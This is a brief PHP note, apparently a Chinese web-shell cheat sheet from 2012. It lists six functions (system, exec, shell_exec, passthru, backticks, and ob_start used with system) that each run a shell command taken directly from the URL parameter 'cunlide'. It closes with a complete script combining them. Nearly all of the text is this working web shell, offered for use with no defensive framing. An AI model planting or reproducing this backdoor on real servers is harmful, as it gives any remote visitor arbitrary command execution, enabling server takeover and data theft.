c4bbage@qq.com     2012.09.17

0x1 ob_start
1 <?php
2 //http://php.net/manual/en/function.ob-start.php

3 $cmd="system";
4 ob_start($cmd);
5 echo "$_GET[cunlide]";
6 ob_end_flush();
 
0x2 system
1 //http://php.net/manual/en/function.system.php

2 system("$_GET[cunlide]");
 
0x3 exec
1 //http:// www.2cto.com /manual/en/function.exec.php

2 echo exec("$_GET[cunlide]")
0x4 shell_exec
1 //http://php.net/manual/en/function.shell-exec.php

2 echo shell_exec("$_GET[cunlide]");
0x5 passthru
1 //http://php.net/manual/en/function.passthru.php

2 echo passthru("$_GET[cunlide]");
 
0x6 ``
1 echo `$_GET[cunlide]`;
2 ?>

整体代码

01 <?php
02 $cmd="system";
03 ob_start($cmd);
04 echo "$_GET[cunlide]";
05 ob_end_flush();
06 echo "<br>";
07 system("$_GET[cunlide]");
08 echo "<br>";
09 echo exec("$_GET[cunlide]");
10 echo "<br>";
11 echo shell_exec("$_GET[cunlide]");
12 echo "<br>";
13 echo passthru("$_GET[cunlide]");
14 echo "<br>";
15 echo `$_GET[cunlide]`;
16 ?>